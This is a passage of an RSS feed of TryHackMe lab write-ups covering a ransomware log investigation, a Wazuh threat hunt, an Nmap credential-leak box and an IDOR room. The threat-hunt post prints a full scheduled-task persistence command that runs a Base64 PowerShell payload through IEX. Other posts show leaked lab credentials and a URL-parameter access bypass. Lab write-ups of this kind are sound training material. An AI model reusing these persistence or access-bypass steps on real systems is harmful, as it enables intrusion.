downloaded a file and ran it. When was this file run? Timezone UTC (Format YYYY-MM-DD hh:mm:ss)</h3><p>Back in the <strong>Downloads</strong> folder, there are two files: antivirus.exe and decryptor.exe.</p><p>Search the logs for decryptor.exe. Note the process creation time:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*mNYIHcEBmaUUT5Y0" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*i91sjB101PQe5cw4" /></figure><h3>🔄 Arrange the events in the correct order:</h3><ol><li>Sophie downloaded the malware and ran it.</li><li>The downloaded malware encrypted the files and showed a ransomware note.</li><li>After seeing the ransomware note, Sophie ran out and reached out to you for help.</li><li>While Sophie was away, an intruder logged into Sophie’s machine via RDP and started looking around.</li><li>The intruder realized he infected a charity organization. He then downloaded a decryptor and decrypted all the files.</li><li>After all the files are restored, the intruder left the desktop telling Sophie to check her Bitcoin.</li><li>Sophie and I arrive on the scene to investigate. At this point, the intruder was gone.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*_gAsNujmCXqb5T4S" /></figure><h3>Conclusion</h3><p>Sometimes, even ransomware authors have a conscience. It seems the attacker realized they’d hit a charity, reversed the damage, and made a donation. Unusual? Definitely. But it wraps this cyber mystery with an oddly humane twist.</p><h3>Thank you for reading my write-up. I hope you found it useful</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=931d2dc86b66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Monday Monitor TryHackMe Writeup]]></title>
            <link>https://medium.com/@kavusan592/monday-monitor-b1d0a98c07ed?source=rss-d3fca7c76f20------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1d0a98c07ed</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Kavusan Yesuraja]]></dc:creator>
            <pubDate>Mon, 02 Mar 2026 14:37:25 GMT</pubDate>
            <atom:updated>2026-03-02T14:46:15.463Z</atom:updated>
            <content:encoded><![CDATA[<p>Room: <a href="https://tryhackme.com/room/mondaymonitor">https://tryhackme.com/room/mondaymonitor</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/0*6VzVmf4SRpNQohEP.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*RtUPl0yomz-Sx4Oh.png" /></figure><h3>📚 Scenario: Welcome to Swiftspend Finance</h3><p>Swiftspend, the trendsetting fintech company, is investing heavily in endpoint monitoring to beef up its cyber defenses. Their senior security engineer, <strong>John Sterling</strong>, has been running simulations to test the visibility of Wazuh and Sysmon telemetry.</p><p>That’s where you step in-<strong>cyber sleuth for hire</strong>. Your job is to review the telemetry data generated during the attack simulation, identify how the adversary got in, and trace the full kill chain.</p><p><strong>🕒 Timeframe of interest:</strong> 🗓️ April 29, 2024 🕛 12:00:00–20:00:00</p><p>Let’s crack this case open.</p><h3>Accessing the Wazuh Dashboard</h3><p>To begin the investigation:</p><ol><li>Start the TryHackMe machine.</li><li>Access the Wazuh dashboard via: 🔗 <a href="https://lab_web_url.p.thmlabs.com/">https://lab_web_url.p.thmlabs.com/</a></li><li>Login credentials: 👤 <strong>Username:</strong> admin 🔒 <strong>Password:</strong> Mond*yM0nit0r7</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*vZuRJh0-skgcPXdw" /></figure><p>Go to <strong>Security Events</strong>, and load the saved query: 📄 <strong>Monday_Monitor</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*g5XqtMRdxDEt43Li" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*eed5rTGf5OS347gR" /></figure><p>If we click on the events tab, we can see all the filters and the events</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*HjFxLgC-wrOM08GG" /></figure><p>Filter by data.win.eventdata.commandLine to see what was executed during the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*7eZuOuBmtuODDype" /></figure><h3>Initial access was established using a downloaded file. What is the file name saved on the host?</h3><p>Filtering events for localhost, I found a command involving a file downloaded and saved to the host. Among the limited results, one entry reveals a suspicious download.</p><p>✅ <strong>Answer:</strong> The filename was clearly visible in the command line that downloaded it — marking the first observable step in the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*zAqJeLMkwd1wcJl-" /></figure><h3>What is the full command run to create a scheduled task?</h3><p>In Windows, we use schtasks.exe to schedule tasks, so we can filter by “schtasks.exe”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*_44U0Qa1HeGdI2S9" /></figure><p>The First event rule description says “Microsoft Office Product Spawning Windows Shell”. So, I skipped it, and the second event description says “Possible Office Macro Started: C:\Windows\System32\cmd.exe”.</p><p>This command sets up a <strong>persistence mechanism</strong> on a Windows system by:</p><ol><li><strong>Storing a Base64-encoded PowerShell command</strong> in the registry (which decodes to ping <a href="http://www.youarevulnerable.thm)./">www.youarevulnerable.thm).</a></li><li><strong>Creating a scheduled task</strong> that runs daily at 12:34 PM to <strong>execute that command</strong>, using PowerShell.</li></ol><p>This is a malicious program set to run every day. We have the required command that is run to schedule this task.</p><p>The command:</p><pre>&quot;cmd.exe&quot; /c &quot;reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyB3d3cueW91YXJldnVsbmVyYWJsZS50aG0= /f &amp; schtasks.exe /Create /F /TN &quot;ATOMIC-T1053.005&quot; /TR &quot;cmd /c start /min \&quot;\&quot; powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))&quot; /sc daily /st 12:34&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*11WzIg5hahrdtrTN" /></figure><h3>What time is the scheduled task meant to run?</h3><p>Found at the end of the command: 🕒 /sc daily /st 12:34</p><p>✅ <strong>Answer:</strong> <strong>12:34 PM</strong></p><h3>What was encoded?</h3><p>We can use CyberChef to decode the <strong>Base64-encoded PowerShell command.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*LhOomB2E1niQj2JC" /></figure><p>This is a non-malicious test beacon used to simulate external communication — a harmless payload, but a clever persistence test.</p><h3>What password was set for the new user account?</h3><p>In Windows, “<em>net</em>” is used to create and maintain users. Using the filter net, I discovered a command that created a new user named <strong>guest</strong> along with a plaintext password.</p><p>✅ <strong>Answer:</strong> The command contained both the username and password clearly — classic attacker behavior when quickly setting up accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*1eORTQJMQr51jZpo" /></figure><h3>What is the name of the .exe that was used to dump credentials?</h3><p>I searched for <strong>Mimikatz</strong>, a go-to tool for credential extraction. Out of four results, two showed a suspicious .exe running Mimikatz logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*OZHYaBFI3mOX7L25" /></figure><p>✅ <strong>Answer:</strong> The .exe name was clearly shown in the command lines—evidence of a credential access attempt.</p><h3>Data was exfiltrated from the host. What was the flag that was part of the data?</h3><p>I filtered for <strong>POST</strong>, indicating outbound data transfer. One match: a command that POSTs data to an external server. Within the command string is a <strong>flag</strong>, part of the simulated stolen data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*o7WXVA42rje_zeIF" /></figure><p>✅ <strong>Answer:</strong> The flag was embedded directly in the exfiltration payload.</p><h3>🎯 Final Thoughts</h3><p>This was a fantastic challenge to flex endpoint monitoring and threat hunting skills. Here’s what we observed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*z3bWCFV7mxy0QTay.png" /></figure><h3>Thank you for reading my write-up. I hope you found it useful</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1d0a98c07ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intermediate Nmap- TryHackMe challenge Walkthrough]]></title>
            <link>https://medium.com/@kavusan592/intermediate-nmap-tryhackme-challenege-walkthrough-7c597c7fa14b?source=rss-d3fca7c76f20------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c597c7fa14b</guid>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Kavusan Yesuraja]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 15:29:17 GMT</pubDate>
            <atom:updated>2026-03-02T14:38:01.035Z</atom:updated>
            <content:encoded><![CDATA[<p>Can you combine your great nmap skills with other tools to log in to this machine?</p><p>Room Link: <a href="https://tryhackme.com/room/intermediatenmap">https://tryhackme.com/room/intermediatenmap</a></p><p>In the world of Capture The Flag (CTF) challenges, we often expect complex buffer overflows or obscure web vulnerabilities. But sometimes, the “hack” is simply about paying attention to what the server is screaming at you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*IhSwagxrOzXvNPn-.png" /></figure><h3>Phase 1: The Initial Recon</h3><p>Every good engagement starts with a scan. We kicked things off with nmap against the target IP 10.80.179.246, using the -A flag for aggressive OS and service detection and -T4 to speed things up.</p><pre>nmap -T4- -A &lt;MACHINE_IP&gt;</pre><p>The scan returned results in just over 15 minutes (941 seconds). The host was up, but it was noisy — over 65,000 ports were closed or reset. However, three ports stood out in the crowd:</p><ul><li><strong>22/tcp:</strong> OpenSSH 8.2p1 (Standard SSH)</li><li><strong>2222/tcp:</strong> Another instance of OpenSSH 8.2p1</li><li><strong>31337/tcp:</strong> An open port labeled “Elite?”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*Czei04uWiy-iMuUU.png" /></figure><p>While SSH is standard, port <strong>31337</strong> (hacker slang for “Elite”) is always a red flag that screams “Look at me!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*VOUZVJeAXICWxYje.png" /></figure><h3>Phase 2: Reading the “Garbage”</h3><p>Here is where many beginners get stuck. Nmap tried to identify the service running on port 31337 but failed. When Nmap fails to identify a service, it dumps a “fingerprint” — a massive block of raw data it received from the server, asking the user to submit it to the Nmap database.</p><p>It’s tempting to ignore this wall of text, but looking closely at the fingerprint-strings section revealed the vulnerability. Buried inside the hex-encoded response was a readable string repeatedly echoed in the server&#39;s response headers:</p><pre>In\x20case\x20\x20forget\x20-\x20user:pass\nubuntu: Dafdas!!/strong</pre><p>The service wasn’t just unknown; it was leaking credentials directly in its banner!</p><h3>Phase 3: Verification</h3><p>To confirm this wasn’t a hallucination or a false positive, I opened a web browser and navigated to the service directly at <a href="http://10.80.179.246:31337.">http://10.80.179.246:31337.</a></p><p>The page rendered plain text confirming exactly what the Nmap scan hinted at:</p><p><strong>“In case I forget user:pass ubuntu: Dafdas!!/strong”</strong>.</p><p>We now had a username (ubuntu) and a password (Dafdas!!/strong)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*9rVIjzbFjeHTTUCC.png" /></figure><h3>Phase 4: Gaining Access</h3><p>With credentials in hand, I turned back to the standard SSH port identified in the initial scan.</p><pre>ssh ubuntu@&lt;MACHINE_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*u_fYxvlHrM8Cu3dD.png" /></figure><p>After an initial stumble with the password entry (likely a typo on my part), the second attempt went through. The terminal responded with the golden text: Welcome to Ubuntu 20.04.3 LTS.</p><p>We are in!</p><h3>Phase 5: The Loot</h3><p>Once inside the shell, standard enumeration began. A quick ls -la showed we were in a standard user directory. I navigated to the user&#39;s home folder:</p><pre>cd /home/user<br>ls</pre><p>There it was: <strong>flag.txt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/0*_Y9zs5dBeK16Wkcm.png" /></figure><p>A final cat flag.txt printed the victory string to the screen, marking the end of the challenge.</p><h3>Conclusion</h3><p>This box serves as a perfect reminder: <strong>Always read the verbose output.</strong> Nmap told us exactly how to break in, but it disguised the answer as an error report. If we had just glanced at the “closed/filtered” ports and moved on, we would have missed the credentials hiding in plain sight.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c597c7fa14b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Neighbour TryHackMe Writeup]]></title>
            <link>https://medium.com/@kavusan592/neighbour-tryhackme-writeup-67ac0eb1e509?source=rss-d3fca7c76f20------2</link>
            <guid isPermaLink="false">https://medium.com/p/67ac0eb1e509</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Kavusan Yesuraja]]></dc:creator>
            <pubDate>Thu, 26 Feb 2026 15:26:12 GMT</pubDate>
            <atom:updated>2026-02-26T15:26:12.853Z</atom:updated>
            <content:encoded><![CDATA[<p>Check out our new cloud service, Authentication Anywhere. Can you find other user’s secrets?</p><p>Room: <a href="https://tryhackme.com/room/neighbour">https://tryhackme.com/room/neighbour</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*eJe3WbSpKL0QauLb.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*4EG6zZQQQa_xkf-L.png" /></figure><h3>Scenario</h3><p>Check out our new cloud service, Authentication Anywhere — log in from anywhere you would like! Users can enter their username and password, for a totally secure login process! You definitely wouldn’t be able to find any secrets that other people have in their profile, right?</p><h3>Initial Access</h3><p>Navigate to the <strong>Target Machine IP</strong> from the <strong>AttackBox</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*36IDN6BFD_xT1pK7" /></figure><p>On the homepage, view the page source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*j4kDp4ffyN0DMSIj" /></figure><p>There’s an interesting HTML comment:</p><pre>&lt;! — use guest:guest credentials until registration is fixed. “admin” user account is off limits!!!!! →</pre><p>This suggests we can log in using the credentials:</p><p>Username: guest Password: guest</p><h3>Exploring the Application</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*NAu8MPDIau2lpfl8" /></figure><p>After logging in as the guest user, examine the page source again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*x4_i546Y90pAfIhf" /></figure><p>Another comment is present: &lt;! — admin account could be vulnerable, need to update →</p><p>This implies the <strong>admin</strong> account might have a security flaw.</p><h3>Profile Access via URL Manipulation</h3><p>The current page URL is:</p><pre>http://MACHINE_IP/profile.php?user=guest</pre><p>We can try changing the user parameter from guest to admin:</p><pre>http://MACHINE_IP/profile.php?user=admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*m72he6O58jtuk7BN" /></figure><h3>🎉 Flag found!</h3><p>The flag was successfully displayed in the browser.</p><h3>Conclusion</h3><p>This room demonstrates the risks associated with insecure comments in HTML source code and insufficient access controls. By reviewing the page source, we discovered hardcoded credentials and hints about a potentially vulnerable admin account. Simple URL manipulation allowed unauthorized access to the admin profile, indicating a lack of proper authorization checks on server-side resources. This highlights the importance of:</p><ul><li>Avoiding sensitive information in client-side code (e.g., HTML comments),</li><li>Implementing robust access controls,</li><li>And thoroughly testing user input and session validation mechanisms.</li></ul><p>Overall, this room is a great example of how seemingly minor oversights can lead to critical vulnerabilities.</p><h3>Thank you for reading my write-up. I hope you found it useful</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67ac0eb1e509" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>